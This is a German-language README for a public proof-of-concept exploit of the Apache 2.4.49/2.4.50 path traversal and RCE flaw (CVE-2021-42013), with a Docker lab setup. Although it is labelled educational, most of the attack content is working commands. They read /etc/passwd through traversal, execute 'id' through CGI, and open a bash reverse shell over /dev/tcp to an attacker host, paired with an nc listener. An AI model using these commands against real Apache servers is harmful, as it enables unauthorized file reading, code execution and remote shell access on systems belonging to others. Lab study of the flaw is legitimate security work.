
Exploit für Apache 2.4.49/2.4.50 Path Traversal und RCE (CVE-2021-42013). Enthält Docker-Setup und Skript zum Testen von Path Traversal, Ausführen von Befehlen und Erhalten einer Reverse Shell.
⚠️ Nur für Bildungszwecke und autorisierte Sicherheitsforschung
Vielen Dank an den ursprünglichen PoC-Autor Walnut Security Services Pvt. Ltd
Ein Angreifer könnte einen Path-Traversal-Angriff verwenden, um URLs Dateien außerhalb der durch Alias-ähnliche Direktiven konfigurierten Verzeichnisse zuzuordnen. Wenn Dateien außerhalb dieser Verzeichnisse nicht durch die übliche Standardkonfiguration „require all denied“ geschützt sind, können diese Anfragen erfolgreich sein. Wenn CGI-Skripte auch für diese Alias-Pfade aktiviert sind, könnte dies eine Remote-Code-Ausführung ermöglichen. Dieses Problem betrifft nur Apache 2.4.49 und Apache 2.4.50, nicht frühere Versionen.
Zuerst das Repository klonen
git clone https://github.com/asepsaepdin/CVE-2021-42013.git
Verzeichnis wechseln
cd CVE-2021-42013
Vuln-Container erstellen
docker build -t CVE-2021-42013 .
Ephemeralen Container ausführen
docker run --rm -it --name CVE-2021-42013 CVE-2021-42013
Container-IP-Adresse überprüfen
docker inspect CVE-2021-42013 | grep "IPAddress"
Ausführbare Berechtigung für das Skript erteilen
chmod +x cve-2021-42013.sh
Um Path-Traversal zu testen und zu bestätigen, muss ein gültiges Verzeichnis gefunden werden, das in diesem Fall als /icons konfiguriert ist. Die Ausführung des folgenden Befehls würde die Path-Traversal-Schwachstelle auslösen und den Inhalt von /etc/passwd ausgeben:
./cve-2021-42013.sh 172.17.0.3/icons /etc/passwd
Um Remote-Code-Ausführung zu testen und zu bestätigen, sollte CGI konfiguriert und aktiviert sein, was in diesem Fall zutrifft. Die Ausführung des folgenden Befehls würde eine Remote-Code-Ausführung auslösen und die Ausgabe des id-Befehls anzeigen:
./cve-2021-42013.sh 172.17.0.3 /bin/bash id
Aus Angreifersicht ist Remote-Code-Ausführung entscheidend, um Zugriff auf eine interaktive Shell zu erhalten. Die Ausführung des folgenden Befehls würde eine konventionelle Reverse-Shell über TCP basierend auf Bash zum System des Angreifers auf Port 4444/tcp auslösen:
./cve-2021-42013.sh 172.17.0.4 /bin/bash 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'
nc -nlvp 4444